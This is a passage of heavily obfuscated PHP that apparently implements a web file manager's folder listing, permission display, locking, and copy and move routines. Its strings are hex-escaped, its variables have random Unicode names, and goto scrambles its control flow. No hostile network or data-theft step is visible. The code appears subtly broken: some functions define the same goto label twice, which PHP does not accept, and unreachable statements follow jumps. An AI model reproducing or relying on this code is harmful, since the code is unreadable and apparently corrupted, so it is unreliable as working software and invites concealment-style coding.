"\x53\105\x4c\x45\x43\124\x20\52\40\x46\122\x4f\115\x20\x28\123\105\x4c\105\103\124\40\x27{$eе}\137\150\x61\163\106\x69\x6c\145\47\40\141\x73\40\x68\141\x73\54\143\x6f\165\156\x74\50\x31\x29\40\141\163\40\x68\x61\163\103\x6f\x75\x6e\164\x20\x46\x52\x4f\115\40\x60{$dݴ}\x60\40\xa\11\x9\x9\11\11\167\150\145\162\145\40\x70\141\162\x65\x6e\x74\x49\104\x3d{$eе}\x20\141\x6e\x64\x20\151\x73\106\157\154\144\145\x72\x3d\60\x20\141\156\144\40\x69\163\104\x65\x6c\x65\x74\x65\x3d{$e™}\x29\40\141\163\40\164\x62\61\x5f{$eе}\x20\165\x6e\x69\x6f\x6e\x20\141\154\x6c\x20\xa\x9\x9\11\x9\x9\x53\x45\x4c\105\x43\124\40\52\x20\x46\x52\x4f\115\x20\50\123\x45\114\x45\103\124\x20\x27{$eе}\137\150\141\x73\x46\x6f\154\144\145\x72\x27\x20\141\x73\40\150\141\163\x46\x69\154\145\x2c\143\x6f\165\x6e\164\x28\x31\51\x20\x61\x73\x20\150\141\x73\103\157\x75\156\x74\40\x46\x52\117\x4d\40\140{$dݴ}\140\40\xa\x9\x9\x9\11\x9\167\x68\145\x72\x65\x20\160\x61\x72\x65\156\164\111\104\75{$eе}\x20\x61\156\x64\x20\151\x73\106\157\154\x64\145\162\x3d\x31\40\141\156\x64\x20\151\163\x44\x65\154\x65\164\x65\x3d{$e™}\51\40\x61\x73\40\164\x62\62\x5f{$eе}\40\x75\156\151\157\x6e\40\x61\154\154\x20"; } if ((strlen($Eօ) >= $E || $f呯̰ == $Cӹ - 1) && $Eօ) { $Eօ = substr($Eօ, 0, -strlen($Dʛ[445])); $E˷ = $this->query($Eօ); $e޷ = array_merge($e޷, $E˷); $Eօ = $Dʛ[33]; } } $e޷ = array_to_keyvalue($e޷, $Dʛ[446]); goto A; C֣: $E = 1024 * 50; $Eƃ = is_array($Eƃ) ? $Eƃ : array(); $Cӹ = count($Eƃ); goto FԂ; B݄: } protected function _listAppendAuth(&$a) { goto Cٻ; dŪܝ: foreach ($a as $aĬ߇) { if ($aĬ߇[$e[367]] == self::TYPE_GROUP) { $aΐ[] = $aĬ߇[$e[365]]; } } if (!$aΐ) { return; } $fĪͻ = array_to_keyvalue($a, $e[365]); goto dҪӓ; Cٻ: $e =& $_SERVER[ֹ]; if (!defined($e[423])) { return; } $aΐ = array(); goto dŪܝ; dҪӓ: $C֋ = Model($e[450])->getSourceList($aΐ, $fĪͻ); foreach ($a as $B => &$aĬ߇) { $aĬ߇[$e[372]] = $C֋[$aĬ߇[$e[365]]]; if (!$aĬ߇[$e[372]] && $aĬ߇[$e[367]] == self::TYPE_GROUP) { $aĬ߇[$e[372]] = Action($e[451])->pathGroupAuthMake($aĬ߇[$e[452]]); if (!$aĬ߇[$e[372]] && !_get($GLOBALS, $e[453])) { $aĬ߇[$e[185]] = !1; $aĬ߇[$e[184]] = !1; } } if ($aĬ߇[$e[372]]) { $aĬ߇[$e[185]] = AuthModel::authCheckEdit($aĬ߇[$e[372]][$e[373]]); $aĬ߇[$e[184]] = AuthModel::authCheckView($aĬ߇[$e[372]][$e[373]]); } $this->groupPathDisplay($aĬ߇); } goto cǜ; cǜ: } public function groupPathDisplay(&$F) { goto b; B٣: $F[$A߹[456]] = $D̼[$A߹[457]]; $F[$A߹[376]] = $D̼[$A߹[455]]; $F[$A߹[458]] = $D̼[$A߹[459]]; goto a; b: $A߹ =& $_SERVER[ֹ]; if ($F[$A߹[367]] != self::TYPE_GROUP) { return; } $D̼ = Model($A߹[454])->getInfo($F[$A߹[452]]); goto eƘܣǸ; eƘܣǸ: $d볂 = $this->parentLevelArray($D̼[$A߹[455]]); $f = $A߹[33]; foreach ($d볂 as $A߉Ґ) { $dߺ = Model($A߹[454])->getInfo($A߉Ґ); $f .= $dߺ[$A߹[387]][$A߹[365]] . $A߹[47]; } goto B٣; a: $F[$A߹[460]] = $f . $D̼[$A߹[387]][$A߹[365]]; goto d犌; d犌: } protected function _listAppendPath(&$F͐) { goto aǞͭ; AٽȖ폡: $A˾Б = array(); foreach ($d΍ as $b => $bџ) { if (!$bџ) { $A˾Б[] = $b; } } if ($A˾Б) { $D謥̘ = array($C˾[379] => array($C˾[380], $A˾Б)); if (count($A˾Б) == 1) { $Cⶹ = $this->sourceInfo($A˾Б[0]); $Cⶹ = is_array($Cⶹ) ? array($Cⶹ) : !1; } else { $Cⶹ = $this->field($C˾[461])->where($D謥̘)->select(); } $Fԛ = array_to_keyvalue($Cⶹ, $C˾[365], $C˾[28]); $d΍ = array_merge_index($d΍, $Fԛ); } goto bߗ; bߗ: $F˿ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); foreach ($F͐ as &$A) { goto Aߗ; aؤ: $aߢ = trim($A[$C˾[462]], $C˾[8]); if ($A[$C˾[457]] == $C˾[464] && $aߢ) { $A[$C˾[28]] = $aߢ; } $this->_listAppendPathRecycle($A, $f, $F˿); goto B둑; Bԏ: if ($f) { $b¿ .= $A[$C˾[28]]; } if ($A[$C˾[366]]) { $b¿ .= $C˾[8]; } $A[$C˾[462]] = str_replace($C˾[463], $C˾[8], $b¿); goto aؤ; Aߗ: $f = $this->parentLevelArray($A[$C˾[455]]); $b¿ = $this->_listAppendPathRoot($A, $f); foreach ($f as $aŠ) { if (isset($d΍[$aŠ])) { $b¿ .= $d΍[$aŠ] . $C˾[8]; } } goto Bԏ; B둑: } goto e; aǞͭ: $C˾ =& $_SERVER[ֹ]; $d΍ = array(); foreach ($F͐ as &$A) { $d΍[$A[$C˾[365]]] = $A[$C˾[28]]; $f = $this->parentLevelArray($A[$C˾[455]]); array_shift($f); foreach ($f as $aŠ) { if (!isset($d΍[$aŠ])) { $d΍[$aŠ] = 0; } } } goto AٽȖ폡; e: } private function _listAppendPathRecycle(&$c, $f, $f䢧) { goto B; B: $Eԩ =& $_SERVER[ֹ]; if (intval($c[$Eԩ[367]]) !== self::TYPE_SYSTEM) { return; } if (!in_array($f䢧, $f) && $c[$Eԩ[365]] != $f䢧) { return; } goto c; cɖܺ: $c[$Eԩ[455]] = $Eԩ[466] . implode($Eԩ[47], array_slice($f, 1)) . $Eԩ[47]; if ($c[$Eԩ[365]] == $f䢧) { $c[$Eԩ[455]] = $Eԩ[466]; $c[$Eԩ[457]] = $Eԩ[464]; $c[$Eԩ[28]] = LNG($Eԩ[465]); } $c[$Eԩ[467]] = $Eԩ[468]; goto E⇡Ň; c: $a´ = explode($Eԩ[8], trim($c[$Eԩ[462]], $Eԩ[8])); $A = implode($Eԩ[8], array_slice($a´, 2)); $c[$Eԩ[462]] = $Eԩ[8] . LNG($Eԩ[465]) . $Eԩ[8] . ltrim($A, $Eԩ[8]); goto cɖܺ; E⇡Ň: } protected function _listAppendPathRoot(&$Cܺ, $DҺՓ) { $Dι =& $_SERVER[ֹ]; $Eø = $Dι[33]; if ($Cܺ[$Dι[367]] == self::TYPE_USER) { if (defined($Dι[423]) && $Cܺ[$Dι[452]] == USER_ID) { $Eø = LNG($Dι[469]); if (!$DҺՓ) { $Cܺ[$Dι[28]] = $Eø; } } else { $C޸ = Model($Dι[470])->getInfoSimple($Cܺ[$Dι[452]]); $Eø = LNG($Dι[471]) . $Dι[153] . $C޸[$Dι[28]] . $Dι[472]; } } else { if ($Cܺ[$Dι[367]] == self::TYPE_GROUP) { $C޸ = Model($Dι[454])->getInfoSimple($Cܺ[$Dι[452]]); $Eø = $C޸[$Dι[28]]; } else { if ($Cܺ[$Dι[367]] == self::TYPE_SYSTEM) { $C޸ = $this->sourceInfo($DҺՓ[0], !0); $Eø = $C޸[$Dι[28]]; } } } $Eø = $Eø ? $Dι[8] . $Eø . $Dι[8] : $Dι[8]; return $Eø; } protected function _listAppendUser(&$c߅ԉ) { $A =& $_SERVER[ֹ]; $eꍐ = array_to_keyvalue($c߅ԉ, $A[33], $A[374]); $c󊖷׎ = array_to_keyvalue($c߅ԉ, $A[33], $A[375]); $DŌ = array_merge($eꍐ, $c󊖷׎); $b = Model($A[473])->userListInfo($DŌ); foreach ($c߅ԉ as &$c) { $a = $c[$A[374]]; $c[$A[374]] = $b[$a] ? $b[$a] : !1; $a = $c[$A[375]]; $c[$A[375]] = $b[$a] ? $b[$a] : !1; if (isset($c[$A[413]]) && $c[$A[413]][$A[474]]) { $A = $GLOBALS[$A[6]][$A[84]][$A[475]]; if ($c[$A[413]][$A[476]] <= time() - $A) { $this->metaSet($c[$A[365]], $A[474], null); $this->metaSet($c[$A[365]], $A[476], null); unset($c[$A[413]][$A[474]]); continue; } $Fƶ = $c[$A[413]][$A[474]]; $c[$A[413]][$A[477]] = Model($A[473])->getInfoSimpleOuter($Fƶ); } } } public function parentLevelArray($FÊ) { $e׏ꩫ =& $_SERVER[ֹ]; $FÊ = explode($e׏ꩫ[47], trim($FÊ, $e׏ꩫ[47])); return array_remove_value($FÊ, $e׏ꩫ[464]); } public function listAll($c) { goto E׉; a܋ο: $Aۦ = array_to_keyvalue($Aۦ, $B[365]); $Bۯ = "\57{$eؔ᝟[$B[28]]}\57"; $Bۯ = $Bۯ == $B[463] ? $B[8] : $Bۯ; goto eή; A˝: $B = $B[482]; $e⫝ = "\x4c\105\106\x54\x20\112\117\x49\116\x20{$this->tablePrefix}\151\157\x5f\x66\x69\154\145\x20\146\151\x6c\x65\x20\157\x6e\40\x73\x6f\165\x72\143\145\x2e\146\x69\x6c\145\111\104\x20\75\x20\146\151\x6c\145\x2e\146\151\154\145\111\x44"; $Aۦ = $this->alias($B[483])->field($B)->where($Aԍ)->join($e⫝)->select(); goto c˪; c˪: $this->_listAppendAuth($Aۦ); $this->_listAppendUser($Aۦ); $this->_listAppendPath($Aۦ); goto a܋ο; eή: $D = array(); foreach ($Aۦ as $aĤɄ => $fկ) { goto fݕ; aХ: if (!$fկ[$B[366]]) { $Cć[$B[415]] = $fկ[$B[415]]; $Cć[$B[485]] = $fկ[$B[75]]; } $D[] = $Cć; goto C؂; eDZ: $eؔ = str_replace($B[463], $B[8], $eؔ); $eؔ = str_replace($B[463], $B[8], $eؔ); $Cć = array($B[383] => str_replace($B[463], $B[8], $eؔ), $B[484] => intval($fկ[$B[366]]), $B[387] => $this->pathInfoFilter($fկ, !0)); goto aХ; e: for ($C홉 = 0; $C홉 < count($aӋǑ); $C홉++) { $eؔ .= $Aۦ[$aӋǑ[$C홉]][$B[28]] . $B[8]; } $eؔ .= $fկ[$B[28]]; if ($fկ[$B[366]]) { $eؔ .= $B[8]; } goto eDZ; fݕ: $aӋǑ = $this->parentLevelArray($fկ[$B[455]]); array_shift($aӋǑ); $eؔ = $Bۯ; goto e; C؂: } return $D; goto fޖ; E׉: $B =& $_SERVER[ֹ]; $eؔ᝟ = $this->sourceInfo($c); $Aԍ = array($B[478] => array($B[479], $eؔ᝟[$B[455]] . $c . $B[480]), $B[481] => 0); goto A˝; fޖ: } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($eِ) { goto b; fܨ: $this->_lockEvent($eِ, array($fϧ[489], $fϧ[490]), $a); $this->_lockCheckEnd($fϧ[486], $eِ); goto D; b: $fϧ =& $_SERVER[ֹ]; if (!$this->allowLock()) { return; } $this->_lockCheck($fϧ[486], $eِ); goto Eԫ鋶; Eԫ鋶: $a = 1; $this->_lockEvent($eِ, array($fϧ[487], $fϧ[488]), $a); $this->_lockParent($eِ, array($fϧ[488]), $a); goto fܨ; D: } public function lockCopyEnd($E᭠) { $C廰 =& $_SERVER[ֹ]; if (!$this->allowLock()) { return; } $fѼ = 0; $this->_lockEvent($E᭠, array($C廰[487], $C廰[488]), $fѼ); $this->_lockParent($E᭠, array($C廰[488]), $fѼ); $this->_lockEvent($E᭠, array($C廰[489], $C廰[490]), $fѼ); } public function lockWriteStart($B椻, $C = '') { goto c; Fι✐: $B = 1; $this->_lockKey($e܆ћ[491] . $B椻 . $e܆ћ[91] . $C, $B); $this->_lockEvent($B椻, array($e܆ћ[486], $e܆ћ[488]), $B); goto e; e: $this->_lockParent($B椻, array($e܆ћ[486], $e܆ћ[488]), $B); $this->_lockCheckEnd($e܆ћ[487], $B椻); goto d; c: $e܆ћ =& $_SERVER[ֹ]; if (!$this->allowLock()) { return; } $this->_lockCheck($e܆ћ[487], $B椻); goto Fι✐; d: } public function lockWriteEnd($Eڇ, $f⟞ = '') { $Cɱ =& $_SERVER[ֹ]; if (!$this->allowLock()) { return; } $F = 0; $this->_lockKey($Cɱ[491] . $Eڇ . $Cɱ[91] . $f⟞, $F); $this->_lockEvent($Eڇ, array($Cɱ[486], $Cɱ[488]), $F); $this->_lockParent($Eڇ, array($Cɱ[486], $Cɱ[488]), $F); } public function lockMoveStart($e) { goto F闢; F闢: $f筣 =& $_SERVER[ֹ]; if (!$this->allowLock()) { return; } $this->_lockCheck($f筣[488], $e); goto Aݵ; Aݵ: $FЍ = 1; $this->_lockKey($f筣[492] . $e, $FЍ); $this->_lockEvent($e, array($f筣[486], $f筣[487]), $FЍ); goto fґ; fґ: $this->_lockParent($e, array($f筣[486], $f筣[488]), $FЍ); $this->_lockEvent($e, array($f筣[493], $f筣[489], $f筣[490]), $FЍ); $this->_lockCheckEnd($f筣[488], $e); goto Aꋗ; Aꋗ: } public function lockMoveEnd($B퍕) { goto Aݦ; cʼ: $this->_lockKey($DВ[492] . $B퍕, $A); $this->_lockEvent($B퍕, array($DВ[486], $DВ[487]), $A); $this->_lockParent($B퍕, array($DВ[486], $DВ[488]), $A); goto d; d: $this->_lockEvent($B퍕, array($DВ[493], $DВ[489], $DВ[490]), $A); goto eԐ; Aݦ: $DВ =& $_SERVER[ֹ]; if (!$this->allowLock()) { return; } $A = 0; goto cʼ; eԐ: } private function _lockCheck($c, $Dڇ) { goto c; e: $this->_lockTimeStart[$AܶƆ] = timeFloat(); if (!is_array($b؉)) { return; } $Bƒ = LNG($c釶[494]); goto aϪ; c: $c釶 =& $_SERVER[ֹ]; $b؉ = $this->sourceInfo($Dڇ); $AܶƆ = $c . $c釶[91] . $Dڇ; goto e; aϪ: CacheLock::setErrorMsg($c釶[153] . htmlspecialchars($b؉[$c釶[28]]) . $c釶[472] . $Bƒ); $this->_lockKey($AܶƆ, 1); $this->_lockKey($AܶƆ, 0); goto c; c: $A٦ = array_reverse($this->parentLevelArray($b؉[$c釶[455]])); foreach ($A٦ as $f܎) { $AܶƆ = $c . $c釶[495] . $f܎; if (CacheLock::lockGet($c釶[496] . $AܶƆ)) { $b؉ = $this->sourceInfo($f܎); CacheLock::setErrorMsg($c釶[153] . htmlspecialchars($b؉[$c釶[28]]) . $c釶[472] . $Bƒ); $this->_lockKey($AܶƆ, 1); $this->_lockKey($AܶƆ, 0); } } goto B̻; B̻: } private function _lockCheckEnd($Aţ, $Dѡ) { goto Dԋ; E: if (!isset($this->_lockTimeStart[$a])) { return; } $Cȇ瞙 = timeFloat() - $this->_lockTimeStart[$a]; unset($this->_lockTimeStart[$a]); goto B; B: if ($Cȇ瞙 > 0.5) { unset(self::$cacheSourceInfo[$a·[406] . $Dѡ]); } $Fdz = $this->sourceInfo($Dѡ); if (!$Fdz) { show_json(LNG($a·[100]), !1); } goto eƐ; Dԋ: $a· =& $_SERVER[ֹ]; $a = $Aţ . $a·[91] . $Dѡ; CacheLock::setErrorMsg($a·[357]); goto E; eƐ: } private function _lockParent($c, $Bԫ, $B©ć) { if (!$this->autoLockSet) { return; } $F = $this->sourceInfo($c); if (!is_array($F)) { return; } $c͌ = array_reverse($this->parentLevelArray($F[$_SERVER[ֹ][455]])); foreach ($c͌ as $aʈ) { $this->_lockEvent($aʈ, $Bԫ, $B©ć); } } private function _lockEvent($Eȫ, $d, $bɈ) { $c렉 =& $_SERVER[ֹ]; if (!$this->autoLockSet) { return; } foreach ($d as $c͈) { $Aߐ = $c͈ . $c렉[91] . $Eȫ; if ($bɈ && CacheLock::lockGet($c렉[496] . $Aߐ)) { continue; } $this->_lockKey($Aߐ, $bɈ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($F⥉, $C첔 = 1) { $c = $_SERVER[ֹ][496] . md5($F⥉); if ($C첔) { if (isset(self::$_lockItemArr[$c])) { return; } self::$_lockItemArr[$c] = 1; CacheLock::lock($c, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$c])) { return; } unset(self::$_lockItemArr[$c]); CacheLock::unlock($c); } } public function isParentOf($C, $B؃ޔ) { goto A; Eӑ: return $Fɩ𑴸; goto b; A: $dˇ =& $_SERVER[ֹ]; $Aλ = $this->sourceInfo($C); $fȑɒ = $this->sourceInfo($B؃ޔ); goto c蝞; c蝞: $fŗȴ = $Aλ[$dˇ[455]] . $Aλ[$dˇ[365]] . $dˇ[47]; $D = $fȑɒ[$dˇ[455]] . $fȑɒ[$dˇ[365]] . $dˇ[47]; $Fɩ𑴸 = strpos($D, $fŗȴ) === 0; goto Eӑ; b: } private $targetIsDelete = 0; public function copy($dյ埸, $Bݠ, $dٰ = REPEAT_REPLACE, $e쐽 = '') { goto e캛ϫ; Bզ: $this->saveAll($cãԠ[$eĕ[499]]); Model($eĕ[163])->linkAdd($cãԠ[$eĕ[497]]); $this->folderSizeReset($Bݠ); goto Fփ; c: $this->lockCopyStart($dյ埸); $this->lockWriteStart($Bݠ, $F赽); $cãԠ = array($eĕ[497] => array(), $eĕ[498] => array(), $eĕ[499] => array()); goto Bɔ; Fփ: $this->updateModifyTime($Bݠ); return $E; goto c笏ۚ; Bɔ: $this->targetIsDelete = intval($A[$eĕ[393]]); $Cȯ = $this->fileNameExistCache($Bݠ, $A[$eĕ[28]]); $E = $this->_copy($dյ埸, $Bݠ, $dٰ, $cãԠ, !0, $e쐽); goto d葸ʣ; Cȟ: if (!$A || !$e풠 || $e풠[$eĕ[366]] != $eĕ[83]) { return !1; } if ($this->isParentOf($dյ埸, $Bݠ)) { return !1; } $F赽 = $e쐽 ? $e쐽 : $A[$eĕ[28]]; goto c; d葸ʣ: $this->_childrenListClear(); $this->lockCopyEnd($dյ埸); $this->lockWriteEnd($Bݠ, $F赽); goto B; B: if ($A[$eĕ[366]] == $eĕ[83] && $Cȯ == $E) { $this->folderSizeResetChildren($Cȯ); } Model($eĕ[500])->addAll($cãԠ[$eĕ[498]], array(), !0); if ($Cȯ != $E || $A[$eĕ[366]] == $eĕ[83]) { Model($eĕ[501])->eventCopy($E); } goto Bզ; e캛ϫ: $eĕ =& $_SERVER[ֹ]; $A = $this->sourceInfo($dյ埸); $e풠 = $this->sourceInfo($Bݠ); goto Cȟ; c笏ۚ: } private function _copy($d璅, $Aö, $c, &$E͑ê, $Eۆۣ, $A͇ = '') { goto A⸞; A鍺: $d¤ٚ = $A͇ ? $A͇ : $Cʦ[$C˔Ƃ[28]]; $d㎛ = $this->fileNameExistCache($Aö, $d¤ٚ); if ($Eۆۣ) { $this->_childrenAllMake($d璅); if ($C֍ && $d㎛) { $this->_childrenAllMake($d㎛); } } goto e; A⸞: $C˔Ƃ =& $_SERVER[ֹ]; $Cʦ = $this->sourceInfoCache($d璅); $C֍ = $Cʦ[$C˔Ƃ[366]] == $C˔Ƃ[83]; goto A鍺; e: return $dԑ; goto b֞; e: if (!$d㎛) { return $this->_copyCreate($d璅, $Aö, $d¤ٚ, $E͑ê); } $dԑ = $d㎛; if ($C֍) { if ($c == REPEAT_RENAME_FOLDER) { $d¤ٚ = $this->fileNameAutoCache($Aö, $d¤ٚ, $c, $C֍); $dԑ = $this->_copyCreate($d璅, $Aö, $d¤ٚ, $E͑ê); } else { $E苑 = $this->_childrenList($d璅); foreach ($E苑 as $aǠЉ) { $this->_copy($aǠЉ[$C˔Ƃ[365]], $d㎛, $c, $E͑ê, !1); } } } else { if ($c == REPEAT_RENAME || $c == REPEAT_RENAME_FOLDER) { $d¤ٚ = $this->fileNameAutoCache($Aö, $d¤ٚ, $c, $C֍); $dԑ = $this->_copyCreate($d璅, $Aö, $d¤ٚ, $E͑ê); } else { if ($c == REPEAT_REPLACE) { $e˥ = $this->sourceInfoCache($d㎛); $E쐎 = $this->fileHistory($e˥, $Cʦ[$C˔Ƃ[415]], $Cʦ[$C˔Ƃ[77]]); if ($E쐎) { $E͑ê[$C˔Ƃ[497]][] = $Cʦ[$C˔Ƃ[415]]; } } else { if ($c == REPEAT_SKIP) { } } } Hook::trigger($C˔Ƃ[502], array($C˔Ƃ[503], $Cʦ, 0)); } goto e; b֞: } private function _copyCreate($fƎ, $Cȓ, $B, &$cэ) { goto f; f: $CܞƧϵ =& $_SERVER[ֹ]; $fܜ = $this->sourceInfoCache($fƎ); $cƊ = $this->sourceInfoCache($Cȓ); goto aκâ; dɄ: $b݋[$fƎ] = $cӃ䲝; $Aۑ = array(); $C紞 = array(); goto eҡŽ; CΤƬ: $this->chunkEventSet($CܞƧϵ[511], array($CܞƧϵ[512], $e, $Cҹ)); $this->saveAll($C紞); return $cӃ䲝; goto C; fˍȝ: if ($fܜ[$CܞƧϵ[366]] != $CܞƧϵ[83]) { $cэ[$CܞƧϵ[497]][] = $fܜ[$CܞƧϵ[415]]; return $cӃ䲝; } $EÔ = array(); $b¤ = array(); goto e; eҡŽ: foreach ($cޣܟ磨 as $bڑѯ) { $E = $bڑѯ[$CܞƧϵ[365]]; $f = $this->_childrenMatch($b݋, $bڑѯ, $d); $Aۑ[] = array($CܞƧϵ[365], $E, $CܞƧϵ[457], $f[$CܞƧϵ[457]]); $C紞[] = array($CܞƧϵ[365], $E, $CܞƧϵ[455], $f[$CܞƧϵ[455]]); $this->_copyApplyMeta($bڑѯ, $cэ); if ($bڑѯ[$CܞƧϵ[366]] != $CܞƧϵ[83]) { $cэ[$CܞƧϵ[497]][] = $bڑѯ[$CܞƧϵ[415]]; } } $this->chunkEventSet($CܞƧϵ[509], array($CܞƧϵ[510], $e, $Cҹ)); $this->saveAll($Aۑ); goto CΤƬ; aκâ: $e = $this->_makeItemData($fܜ, $cƊ, $B); Hook::trigger($CܞƧϵ[504], $e); Hook::trigger($CܞƧϵ[505], array($CܞƧϵ[506], $e, 0)); goto a͆; e: $this->_childrenListAll($fƎ, $EÔ); $Cҹ = count($EÔ); if ($Cҹ == 0) { return $cӃ䲝; } goto aׂ; a򂄍: $this->addAll($b¤, array(), !1); $cޣܟ磨 = $this->where(array($CܞƧϵ[457] => $cӃ䲝))->select(); $b݋ = $this->_childrenMakeRelation($EÔ, $cޣܟ磨); goto dɄ; a͆: $cӃ䲝 = $this->add($e); $b֌ = array($CܞƧϵ[365] => $cӃ䲝, $CܞƧϵ[28] => $B); $this->_copyApplyMeta($b֌, $cэ); goto fˍȝ; aׂ: $d = $this->sourceInfo($cӃ䲝); foreach ($EÔ as $bڑѯ) { $B֋ = $this->_makeItemData($bڑѯ, $d, $bڑѯ[$CܞƧϵ[28]]); $B֋[$CܞƧϵ[455]] = $bڑѯ[$CܞƧϵ[455]]; $b¤[] = $B֋; } $this->chunkEventSet($CܞƧϵ[507], array($CܞƧϵ[508], $e, $Cҹ)); goto a򂄍; C: } private function _childrenMakeRelation($a, $c҄Ȑ) { $d薐 =& $_SERVER[ֹ]; $eٻ = array(); $d㼪 = array(); foreach ($a as $dȉ) { $DҠ = $dȉ[$d薐[28]] . $d薐[8] . $dȉ[$d薐[455]]; $eٻ[$DҠ] = $dȉ[$d薐[365]]; } foreach ($c҄Ȑ as $dȉ) { $DҠ = $dȉ[$d薐[28]] . $d薐[8] . $dȉ[$d薐[455]]; $aԉ̈́ = $eٻ[$DҠ]; $d㼪[$aԉ̈́] = $dȉ[$d薐[365]]; } return $d㼪; } private function _childrenMatch($E竩, $f؆Ɇ, $D׎) { goto b; b: $A닇 =& $_SERVER[ֹ]; $F = $D׎[$A닇[455]]; $E = $this->parentLevelArray($f؆Ɇ[$A닇[455]]); goto DϠ; DϠ: foreach ($E as $F) { if (isset($E竩[$F])) { $F .= $E竩[$F] . $A닇[513]; } } $F = rtrim($F, $A닇[47]) . $A닇[47]; $f = $this->parentLevelArray($F); goto e썄dž; e썄dž: $b֯ = $f[count($f) - 1]; return array($A닇[457] => $b֯, $A닇[455] => $F); goto bٖ; bٖ: } private function _makeItemData($FƬƛ, $fےɵ, $Eފº) { $a =& $_SERVER[ֹ]; $AÎ = array($a[514] => $FƬƛ[$a[366]], $a[382] => $Eފº, $a[515] => $FƬƛ[$a[368]], $a[416] => $FƬƛ[$a[415]], $a[516] => $FƬƛ[$a[77]], $a[517] => $fےɵ[$a[367]], $a[518] => $fےɵ[$a[452]], $a[519] => USER_ID, $a[520] => USER_ID, $a[364] => $fےɵ[$a[365]], $a[521] => $fےɵ[$a[455]] . $fےɵ[$a[365]] . $a[47], $a[392] => 0, $a[522] => $a[33]); return $AÎ; } private function _copyApplyMeta($A돃, &$e߫) { $Eي =& $_SERVER[ֹ]; $Fڦ = $A돃[$Eي[365]]; $fḠ = $A돃[$Eي[28]]; if (!isset($A돃[$Eي[523]]) || !$A돃[$Eي[523]] || $A돃[$Eي[523]] == $Eي[464]) { $e߫[$Eي[499]][] = array($Eي[365], $Fڦ, $Eي[523], short_id($Fڦ)); } if (Input::check($fḠ, $Eي[524])) { $e߫[$Eي[498]][] = array($Eي[365] => $Fڦ, $Eي[89] => $Eي[412], $Eي[355] => str_replace($Eي[50], $Eي[33], Pinyin::encode($fḠ))); $e߫[$Eي[498]][] = array($Eي[365] => $Fڦ, $Eي[89] => $Eي[411], $Eي[355] => Pinyin::encode($fḠ, $Eي[525])); } } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($A) { goto Aݸ; c: $E = array_to_keyvalue($E, $B򐾮[365]); foreach ($E as $aƵ) { $D = $aƵ[$B򐾮[457]]; $A = $aƵ[$B򐾮[365]]; if (!isset($this->_childrenListCache[$A]) && $aƵ[$B򐾮[366]] == $B򐾮[83]) { $this->_childrenListCache[$A] = array(); } if (!isset($this->_childrenListCache[$D])) { $this->_childrenListCache[$D] = array(); } $this->_childrenListCache[$D][$A] = $aƵ; $this->_childrenItemCache[$A] = $aƵ; } goto D߉Ȧ; bİ: $Eږ = array($B򐾮[455] => array($B򐾮[479], $fԑ[$B򐾮[455]] . $A . $B򐾮[480]), $B򐾮[393] => $this->targetIsDelete); $E = $this->field($d)->where($Eږ)->select(); if (!$E) { return; } goto c; Aݸ: $B򐾮 =& $_SERVER[ֹ]; $fԑ = $this->sourceInfo($A); $d = $B򐾮[526]; goto bİ; D߉Ȧ: } private function _childrenListAll($d, &$Dٝ) { $bԯ =& $_SERVER[ֹ]; if (!isset($this->_childrenListCache[$d])) { return; } $fї = $this->_childrenListCache[$d]; foreach ($fї as $F•Ɔ => $c) { $Dٝ[$F•Ɔ] = $c; if ($c[$bԯ[366]] == $bԯ[83]) { $this->_childrenListAll($F•Ɔ, $Dٝ); } } } private function sourceInfoCache($cē) { if (isset($this->_childrenItemCache[$cē])) { return $this->_childrenItemCache[$cē]; } return $this->sourceInfo($cē); } private function _childrenList($C) { if (isset($this->_childrenListCache[$C])) { return $this->_childrenListCache[$C]; } return $this->_childrenListSelect($C); } private function _childrenListSelect($Fո) { goto Aý; Aý: $bݯ =& $_SERVER[ֹ]; $E牽 = array($bݯ[457] => $Fո, $bݯ[393] => $this->targetIsDelete); $C· = $this->where($E牽)->select(); goto e報; e報: $C· = $C· ? $C· : array(); $A윪͇ = array_to_keyvalue($C·, $bݯ[365]); $this->_childrenListCache[$Fո] = $A윪͇; goto e; e: foreach ($A윪͇ as $Fո => $a᳞) { $this->_childrenItemCache[$Fո] = $a᳞; } return $A윪͇; goto DǓǰ߭; DǓǰ߭: } private function fileNameExistCache($eϗ, $C) { $dɌ =& $_SERVER[ֹ]; $C = strtolower($C); $Dڌ = $this->_childrenList($eϗ); foreach ($Dڌ as $e) { if ($C == strtolower($e[$dɌ[28]])) { return $e[$dɌ[365]]; } } return !1; } private function fileNameAutoCache($Clj, $CՐ, $dވڛ, $e祄) { $cⶕ =& $_SERVER[ֹ]; $Eґы = $this->_childrenList($Clj); $CЬõ = array_to_keyvalue($Eґы, $cⶕ[33], $cⶕ[28]); return $this->fileNameAutoGet($CЬõ, $CՐ, $dވڛ, $e祄); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($Cۣ, $B, $eԷ = REPEAT_REPLACE, $e = '') { goto Bʐ; fʱ: $A݌dž = array($C[$bӴɶ[457]], $B); if ($C[$bӴɶ[366]] == $bӴɶ[83]) { $A݌dž[] = $Cۣ; } $this->updateModifyTime($A݌dž); goto C; EՆҍ: Hook::trigger($bӴɶ[527], $D); $this->targetIsDelete = intval($C[$bӴɶ[393]]); if ($C[$bӴɶ[457]] == $B && $e != $C[$bӴɶ[28]]) { $aγ = $this->fileNameExist($B, $e); if ($aγ && $C[$bӴɶ[366]] == $bӴɶ[464]) { goto D֌Ҫ; F: $this->removeNow($Cۣ, !1); $this->folderSizeReset($B); Hook::trigger($bӴɶ[528], $D); goto Aºډ; Aºډ: return $aγ; goto f; D֌Ҫ: $d = $this->sourceInfo($aγ); $e = $this->fileHistory($d, $C[$bӴɶ[415]], $C[$bӴɶ[77]]); if (!$e) { Model($bӴɶ[418])->remove($C[$bӴɶ[415]]); } goto F; f: } } goto FӍ֎; D: Model($bӴɶ[163])->linkAdd($eΧ[$bӴɶ[497]]); if ($F && $eΧ[$bӴɶ[529]]) { $this->removeNow($Cۣ, !1); } $this->lockMoveEnd($Cۣ); goto dڠՌ; e: $eΧ = array($bӴɶ[497] => array(), $bӴɶ[529] => !1); $this->clearShare($Cۣ, $B); $F = $this->fileNameExistCache($B, 